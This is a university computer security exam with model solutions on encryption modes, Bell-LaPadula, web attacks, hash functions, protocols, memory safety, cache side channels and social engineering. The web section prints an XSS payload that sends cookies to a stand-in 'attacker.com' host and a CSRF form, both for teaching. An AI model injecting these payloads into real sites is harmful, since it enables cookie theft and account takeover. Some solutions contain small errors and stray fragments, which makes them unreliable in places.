



DD2395 Computer Security

DD2391 Cybersecurity Overview

Exam 2024-12-17 14:00–18:00

The problems are *not* sorted according to any perceived difficulty.

Students are allowed to bring at most 10 A4 papers (20 pages in total with student's full name written on every page) of handwritten or printed material to the exam. No electronic devices of any kind are allowed.

The exam grade is computed as follows:

- FX: 32-34 points
- E: 35-44 points
- D: 45-54 points
- C: 55-64 points
- B: 65-74 points
- A: 75-100 points

1 Symmetric Cryptography - Mode of Encryption [14 points]

Alice and Bob design the AES-REC mode of operation as follows:

- $C_1 = P_1 \oplus E_K(IV)$
- $C_i = P_i \oplus E_K(IV \oplus C_1 \oplus \dots \oplus C_{i-1})$, for $i \geq 2$

Here, $E_K(b)$ denotes the encryption of a block b of size n with secret key K (shared between Alice and Bob) using a secure block cipher E , for example AES. When Alice sends a message Bob, the proposed mode AES-REC will split a message P into m blocks $(P_1, \dots, P_m)$ of size n , choose an initialization vector IV , and send $(IV, C_1, \dots, C_m)$ to Bob. You can assume that the message P is a multiple of n , hence no padding is needed.

1a [4 points] Help Bob to derive an efficient decryption algorithm/formula of a block P_i , for $i \geq 2$. If needed, you can use $D_K(b)$ to denote the decryption of a block b of size n with encryption key K .

Solution The decryption formula is $P_i = C_i \oplus E_K(IV \oplus C_1 \oplus \dots \oplus C_{i-1})$. The formula can be derived by XORing or decrypting both sides, as follows:

$$\begin{aligned} C_i &= P_i \oplus E_K(IV \oplus C_1 \oplus \dots \oplus C_{i-1}) \\ C_i \oplus E_K(IV \oplus C_1 \oplus \dots \oplus C_{i-1}) &= P_i \end{aligned}$$

- 1b [4 points]** Explain whether or not the encryption formula and the decryption formula can be parallelized.

Solution The encryption formula cannot be parallelized because the computation of C_i requires knowing $C_1, \dots, C_{i-1}$.

The decryption formula can be parallelized because the computation of P_i does not require knowing any of $P_1, \dots, P_{i-1}$.

- 1c [6 points]** Alice has a three block message $P = (P_1, P_2, P_3)$, which she encrypts with AES-REC to obtain the ciphertext $C = (IV, C_1, C_2, C_3)$ and sends it to Bob. Unfortunately, a network error in transit causes a single bit flip and Bob instead receives the ciphertext $C' = (IV, C_1 \oplus 1, C_2, C_3)$, where $C_1 \oplus 1$ denotes the single bit flip in C_1 .

Your task is to show what message will Bob compute when he decrypts the modified ciphertext C' . If the message or part of the message are unpredictable (garbage) output, you should justify why, otherwise you should compute the actual (part of the) message in relation to the bit flip.

Solution When Bob decrypts the ciphertext $C' = (IV, C_1 \oplus 1, C_2, C_3)$, the following happens:

$$\begin{aligned}P'_1 &= (C_1 \oplus 1) \oplus E_K(IV) \\P'_1 &= 1 \oplus (C_1 \oplus E_K(IV)) \\P'_1 &= 1 \oplus P_1\end{aligned}$$

This implies that Bob will only see a single bit flip in the first block.

For P'_2 (argument is the same for P'_3), we have:

$$\begin{aligned}P'_2 &= C'_2 \oplus E_K(IV \oplus C'_1) \\P'_2 &= C'_2 \oplus E_K(IV \oplus C_1 \oplus 1) \\P'_1 &= 1 \oplus P_1\end{aligned}$$

Since $IV \oplus C_1$ is different from $IV \oplus C_1 \oplus 1$ (by a single bit), the encryption $E_K(IV \oplus C_1 \oplus 1)$ is completely different from $E_K(IV \oplus C_1)$, making P'_2 unpredictable garbage output with no relation to the original P_2 . The same argument applies to P'_2 .

2 Access Control - BLP Model [12 points]

You are a security consultant tasked with reviewing the access control system of an organization that uses the Bell-LaPadula (BLP) security model. Users and objects are categorized based on sensitivity (security clearance) levels and compartment authorizations. Recall that in the BLP model, labels L are pairs (SL, C) of sensitivity levels SL and compartments (sets of areas) C , and they are used to enforce the "no read up" and "no write down" access rules. The system you are reviewing has the following components:

- Three security clearance levels: Top Secret (TS), Secret (S), and Public (P), such that $P < S < TS$.
- Two compartments: Academia (A) and Industry (I).

2a [6 points] Provide the definition of "no read up" and "no write down" rules for a user U with label $L_U = (SL_U, C_U)$ and an object O with label $L_O = (SL_O, C_O)$ (2 points). Draw the label partial order that meets requirements of the organization (4 points).

Solution No read up: U may read O iff $L_O \sqsubseteq L_U$. No write down: U may write O iff $L_U \sqsubseteq L_O$. For two labels $L_1 = (SL_1, C_1)$ and $L_2 = (SL_2, C_2)$, we have that $L_1 \sqsubseteq L_2$ iff $SL_1 \leq SL_2$ and $C_1 \subseteq C_2$, where C_1, C_2 are subsets of $\{A, I\}$ and SL_1, SL_2 are elements of $\{TS, S, P\}$. A drawing of the subset partial order such that for any $L_1 = (SL_1, C_1)$ and $L_2 = (SL_2, C_2)$, we have that $L_1 \sqsubseteq L_2$ (i.e., there is an arrow from L_1 to L_2) iff $SL_1 \leq SL_2$ and $C_1 \subseteq C_2$, where C_1, C_2 are subsets of $\{A, I\}$ and SL_1, SL_2 are elements of $\{TS, S, P\}$.

2b [6 points] Use the BLP model above to answer these questions.

1. **[2 points]** Consider a user U with label $L_U = (S, \{\})$ and an object O with label $L_O = (TS, \{A\})$. Justify if user U can read object O and if user U can write object O .
2. **[1 points]** Provide an example of a label for a user U and a label for an object O such that U is allowed to read O .
3. **[1 points]** Provide an example of a label for a user U and a label for an object O such that U is not allowed to read O .
4. **[1 points]** Provide an example of a label for a user U and a label for an object O such that U is allowed to write O .
5. **[1 points]** Provide an example of a label for a user U and a label for an object O such that U is not allowed to write O .

Solution For the first point, we can see that $L_U \sqsubseteq L_O$ because $S \leq TS$ and $\{\} \subseteq \{A\}$, hence user U cannot read but can write object O . For the other points, possible examples are: 2. $L_U = (S, \{I\})$ and $L_O = (P, \{I\})$; 3. $L_U = (S, \{I\})$ and $L_O = (P, \{A\})$; 4. $L_U = (P, \{I\})$ and $L_O = (S, \{I\})$; 5. $L_U = (S, \{I\})$ and $L_O = (P, \{A\})$.

3 Web Security [12 points]

You are managing a blog platform, <https://blogsite.com>, that includes a comments section and an account settings page <https://www.blogsite.com/account/settings>. During a security review, you discover the following issues:

- The comments section is vulnerable to XSS attacks.
- The account settings page allows CSRF exploits, enabling attackers to change user account details without their consent.

Your blog platform only relies on the browser's Same-Origin Policy (SOP) as a baseline security measure, but this alone does not address these vulnerabilities.

3a [4 points] Describe what type of XSS attack in the comments section could bypass the protections provided by the Same-Origin Policy and explain why (2 points). Provide an example of a malicious script that an attacker might inject to steal cookies or perform actions on behalf of another user (2 points).

Solution This is a stored XSS attack. The Same-Origin Policy (SOP) restricts cross-origin interactions, however, XSS occurs when malicious scripts are injected into and executed within the origin of the vulnerable website, bypassing SOP because the malicious script is treated as part of the same origin.

An attacker might inject the following script into the comments section:

```
<script>
  fetch("https://attacker.com/steal?cookie=" + document.cookie);
</script>
```

3b [4 points] Explain why the Same-Origin Policy does not prevent CSRF attacks on the account settings page (2 points). Illustrate this with an example of how an attacker could craft a malicious request to change the victim's email address (2 points).

SOP ensures that scripts from one origin cannot read data from another origin. However, it doesn't prevent cross-origin requests. If a logged-in user visits <https://malicious.com>, the attacker's page can submit a form or send a request to <https://blogsite.com> on behalf of the user without their consent.

An attacker may hosts a page with the following code to change the victim's email:

```
<form action="https://blogsite.com/account/settings" method="POST">
  <input type="hidden" name="email" value="attacker@example.com">
</form>
<script>
```

If a victim is logged into <https://blogsite.com>, visiting this page changes their email address to attacker@example.com.

3c [4 points] Propose and justify two countermeasures (mitigations) to prevent the XSS attack (2 points) and two countermeasures to prevent the CSRF attack (2 points).

For XSS attacks: 1. Input sanitization to strip out dangerous characters like $<$, $>$, or use libraries that neutralize malicious scripts. Implement a strict CSP policy that restricts the execution of inline scripts. 2. Include a unique, unpredictable CSRF token in every form or request. The server validates this token to ensure the request originates from the legitimate site. Use cookies with the `SameSite` attribute set to `Strict` or `Lax` to prevent them from being sent with cross-origin requests.

4 Hash Functions [12 points]

Let $x = x_1 \dots x_n$ be an input of n blocks of 64 bits. Let $hash(x)$ be the following function. (Here all operations are done modulo 2^{64})

```
def hash(x_1 ... x_n)
    // Step 1: Initialize hash value. H unsigned integer of 64 bits
    H = 0

    // Step 2: Process each block of the input
    for i = 1 to n:
        H = (H * 31) + x_i + 10

    // Step 3: Return hash value
    return H
```

4a [12 points] For each requirement of a cryptographically secure hash function, define the requirement, and either disprove the requirement or argue why the requirement is met.

Solution

- One way: given h it should be infeasible to find $x_1 \dots x_n$ such that $H(x_1, \dots, x_n) = h$. It is not one way. In fact, let $m = h - 10$ (i.e., a message of one single block), we have $H(m) = h$.
- Weak collision resistance: given $x_1 \dots x_n$ it should be infeasible to find a different $y_1 \dots y_m$ such that $H(x_1 \dots x_n) = H(y_1 \dots y_m)$. It is not weak collision resistant. First, we notice that $hash(2^{64} - 10) = 0$. Therefore $hash(2^{64} - 10, \dots, 2^{64} - 10, x_1 \dots x_n) = hash(x_1 \dots x_n)$.
- Strong collision resistant: it should be infeasible to find any $x_1 \dots x_n$ and $y_1 \dots y_n$ such that $H(x_1 \dots x_n) = H(y_1 \dots y_n)$. It is not weak collision resistant, therefore it is not strong collision resistance.

5 Security Protocols [12 points]

A content-sharing system involves two content producers **Alice** and **Bob**, a **Server**, and a number of possible clients $C_1 \dots C_n$. Each participant x (i.e., clients, Alice, and Bob) shares a symmetric key with Server: k_x . In the following, $\text{sign}(k, \text{msg})$ returns the pair of the message and its signature: i.e., $\text{sign}(k, \text{msg}) = \text{msg}, \text{Encryption}(k, \text{Hash}(\text{msg}))$. The protocol is as follows:

- **Registration:**

C_i sends a message $M = \text{Alice}, \text{sign}(k_{C_i}, (C_i, \text{subscribe}))$ to the Server, indicating that they want to receive messages from Alice. Server checks the signature and, if correct, it adds C_i to the list of subscribers for Alice. A similar message can be sent to subscribe for messages from Bob.

- **Deregistration:**

C_i sends a message $M = \text{Alice}, \text{sign}(k_{C_i}, (C_i, \text{cancel}))$ to cancel their registration. Server checks the signature and, if correct, it removes C_i from the list of subscribers for Alice. A similar message can be sent to cancel registration for messages from Bob.

- **Alice (or Bob) publishes a message**

Alice sends $\text{sign}(k_{\text{Alice}}, \text{Encryption}(k_{\text{Alice}}, \text{Alice}, \text{message}, T))$ to Server, indicating that she wants to publish a message. Here, T is a timestamp. The server checks the signature and that the timestamp is not too old. If these conditions are met, the Server sends $\text{sign}(k_{C_i}, (\text{Alice}, \text{message}, T))$ to every subscriber of Alice. Subscribers reject messages that are too old or that have wrong signature.

Protocol Guarantees

Alice, Bob, and Clients trusts Server. This protocol should guarantee that (1) only server and subscribed Clients can read messages produced by Alice and Bob; (2) Clients only receive messages they have subscribed for.

5a DOS. [2 points] Explain how the protocol can be abused by someone that is not the Server to cause a denial of service. **Solution. [2 points]** Propose a solution to this problem.

Solution Registration messages do not have nonce or timestamps, therefore can be used by replay attacks. An attacker may collect registrations for several users. Even if these users deregister themselves, the attacker may replay the registration messages, leading all users that have registered at least once to be registered at the same time. Now a single message from Alice, will be broadcast to all users. Solution, add nonce or timestamps to registration messages and reject older messages (nonce must be signed).

5b Confidentiality. [2 points] Explain why the protocol may allow someone that is not registered to messages from Alice to read the messages that she publishes. **Solution. [2 points]** Propose a solution to this problem.

Solution The messages sent from the Server to users are not encrypted. So any attacker that can eavesdrop the channel between a subscribed user and the Server, can also see the content of the message published by Alice. Solution: encrypt the message sent from server to user c_i with the corresponding shared key.

5c Unauthorised registration. [2 points] Explain how someone can lead the Server to subscribe a client to messages from Bob. **Solution. [2 points]** Propose a solution to this problem.

Solution Additionally to the replay attack seen in 5a, the name of Alice/Bob in the registration message is not signed. An attacker can intercept the message and change Alice to Bob. Solution, add Alice/Bob to the signature of the first message.

6 Memory safety [14 points]

The following program is not memory safe. Here:

- `malloc` allocates heap memory, while `free` releases memory
- `input1` and `input2` are two inputs controlled by an attacker

```
1 int main(char * input1, char * input2) {
2     // Allocate memory for a integer
3     int * ptr_to_offset = (int *)malloc(sizeof(int));
4     // Set the integer to 0
5     * ptr_to_offset = 0;
6     // Free the integer
7     free(ptr_to_offset);

8     if (strlen(input2) != 1024)
9         return 1;
10    int * ptr_to_int = (int *)malloc(sizeof(int));
11    // parse input1 as integer
12    * ptr_to_int = atoi(input1);
13    free(ptr_to_int);
14    char buffer[1024];
15    memcpy(buffer + *ptr_to_offset, input2, 1024);

16    return 0;
17 }
```

- 6a [2 points]** Identify the lines of the program that have a problem and explain why they are not secure.
- 6b [3 points]** Explain how an attacker can use these vulnerabilities to redirect the control flow to execute an existing function in the program, called **target**. In your answer include a description of the assumption you have made about the binary code and memory layout of the program.
- 6c [3 points]** Explain how an attacker can use these vulnerabilities to inject and execute new code. In your answer include a description of the assumption you have made about the binary code and memory layout of the program.
- 6d [2 points]** Explain if (and why/why not) the attack in 6.b can be countered by randomizing the base address of the stack.
- 6e [2 points]** Explain if (and why/why not) the attack in 6.c can be countered by using executable-space protection.

- 6f [2 points] If one of the two attacks cannot be countered by the proposed countermeasures, propose and motivate a different countermeasure.

Solution

- `strcpy` at line 15 uses `ptr_to_offset` after it has been freed at line 7.
- assume distance between `buffer` and the return pointer of `main` is x . The attacker input the string representation of $-x$ and binary encoding of the address of `target`. When `malloc` at (10) allocates a new integer, it can return the address to the same heap memory location of `ptr_to_offset`, which has just been freed. Therefore, line (12) can set `offset` to $-x$, and line (15) copies the address of `target` to the return pointer. Therefore, when the function returns, it jumps to the address of `target`.
- Similar to the previous attack, but this time the attacker provides in `input2` the address of `input2 + 4`, followed by the code that should be injected. This code is copied on the stack after the return pointer by line 15.
- No, base stack randomization is not effective, since the offset of `buffer` (which is allocated on the stack) and the return pointer will remain the same.
- Yes, the stack will be non-executable, therefore the injected code cannot be executed. When the application returns from `main` and jumps to `buffer`, it will cause an exception that can be intercepted by the OS.
- for the attack 7.1 (additionally to fix the free after use, moving the free of `offset` at the end of the function), we could use ASLR, which randomizes the base address of code too. The address of `target` will then be shifted for each execution, making it difficult for the attacker to cast the right value for `input2`.

7 Side channels [12 points]

Suppose that a system uses a non-shared data cache (no instruction cache) of 512 bytes, 8 lines, 64 bytes per line. The cache is directly mapped. The array M consists of 64 entries of 4 bytes. The first sixteen entries of the array are mapped to the first cache line, the second sixteen entries are mapped to the second cache line, the third sixteen entries are mapped to the third cache line, and the last sixteen entries are mapped to the fourth cache line. The array is public and the attacker knows that it contains $0, 1, \dots, 63$. (i.e., $M[i] = i$). The variables A and B are secret numbers, and D is a public variable controlled by the attacker (i.e., it is an input of the attacker). Variables A, B, C , and D are all unsigned integers and are allocated in the same block of 64 bytes, which is mapped on the fifth cache line. Finally, assume that A is less than 64. The victim program is the following:

```
1  int C = 0;
2  if D < 64 {
4      C += M[(D+A)/2];
5      C += M[C] + B;
6  }
```

Suppose that the attacker can **only** measure which cache lines are accessed by each execution of the program (i.e., access driven attack), but it is allowed to observe multiple executions with the same initial values for A, B, M , and all possible values of D . By using multiple measurements, the attacker can extract some information about the secret variables of this program.

7a [3 points] Explain why this program is not secure and which instructions can cause information leakage.

Solution Address of instruction (4) depends on the initial value of A , effecting which cache line is accessed by this instruction. After the assignment (since $M[i] = i$), we have $C = (D + A)/2$, therefore also the memory access of the next instruction is depends on A

7b [4 points] Explain why information is leaked and how the attacker can correlate different executions to learn different information of the initial values of the variables.

Solution The code will always access cache line 5 (to read and write A, B, C , and D). Moreover, after line (4), since $M[i] = i$, we have that $C = (D + A)/2$. Therefore line 4 and line 5 access the same cache line: $(D + A)/2/16 = (D + A)/32$. Let the l_D be the line accessed for a given value of D . The attacker can start with $D = 0$ and discover immediately $l_0 = A/32$. Then the attacker can increase D until it finds that $l_D \neq l_0$, to learn that $A = D + l_0 * 32$.

7c [3 points] Describe how you can fix the program or prevent the attack.

Solution The simplest solution is prime the cache so that everything is loaded in cache before accessing the array.

```
int C = M[0];
C = M[16];
C = M[32];
```

```
C = M[48];  
C = 0;  
...
```

7d [2 points] Explain if the program can leak more information in case the processor supports speculative execution (i.e., branch prediction).

Yes. Attacker may first discover the value of A (using the attack described before) and then provide as D the value equal to the offset between the base address of M and B . The processor may execute the branch in speculation, causing the memory read in (4) to buffer over-read and access the value of B . This makes the memory access in (5) depending on the value of B

8 Social engineering - Donation matching [12 points]

Emil, a social engineering attacker, combines some data from hemnet.se (recently sold apartments) and hitta.se (new residents and neighbors) and calls Victoria, the victim of the attack.

Emil: Hej! Am I speaking with Victoria? This is Emil Karlsson. I'm with the organization Stockholm Helps. We work with Stockholms Stad and individual housing associations. We've worked with yours, Igelkotten13, so you probably remember how it works?

Victoria: What, no, I just moved in.

Emil: Oh, I'll briefly explain, but I will not take much of your time, I know there is so much to do when you move, such a hassle! We also moved earlier this year, that was stressful, we still haven't unpacked all the boxes! Anyhow, in short, now at the start of winter and with the current conflicts in the Middle East and Ukraine, many people are displaced and suffering and we need an extra push in donations. And this year, Stockholms Stad has pledged to match any donations given before Lucia, tomorrow. So we're busy calling around for a final push. Every krona counts! Several people in your building have already donated, I see here, on your floor the Ericssons and the Smiths, for example. How much would you be willing to contribute?

After a bit of back and forth, Emil sends a text to Victoria, with a link to the donation site, where there are buttons for different amounts, a choice of payment methods and corresponding fields. Victoria clicks on 200 SEK and chooses PayPal, whereupon she is redirected to stockholmhelps.paypal.com and fills in her login information. She gets a popup message with a receipt to download. She downloads the file.

8a [9 points] Identify 3 strategies (1 point each) used by the social engineer, for each identify the human trait they exploit (1 point each), and quote or mention the parts of the scenario you refer to (1 point each).

Solution Sample answers (don't need to be in these exact words):

1. rush/urgency (reduced cognitive ability), "before tomorrow"
2. peer pressure (people want to be helpful, cooperate, be nice, not deviate from social expectations), "neighbors have donated" friends and colleagues to join and congratulate him." or "we hope that
3. building rapport/showing empathy (people agree to more from someone they like), "moving is stressful, also moved this year"
4. pretext: trappings of the role (attribution, trust) by e.g. plausible story, having worked with named housing association, Stockholms Stad.
5. pretext: put into helper role (desire to help) by e.g. "people suffering".

8b [1 point] What did the attacker get?

Solution The attacker got the PayPal login credentials from Victoria. He also got her to download a file.

8c [2 points] Give two examples of what the attacker can do now.

Solution The attacker can now get the donation by initiating a real PayPal transaction and have it confirmed by Victoria, or, if no 2-factor authentication is set up, use her PayPal account for other transactions or even change her credentials. The file he got Victoria to download could be malware, e.g. ransomware.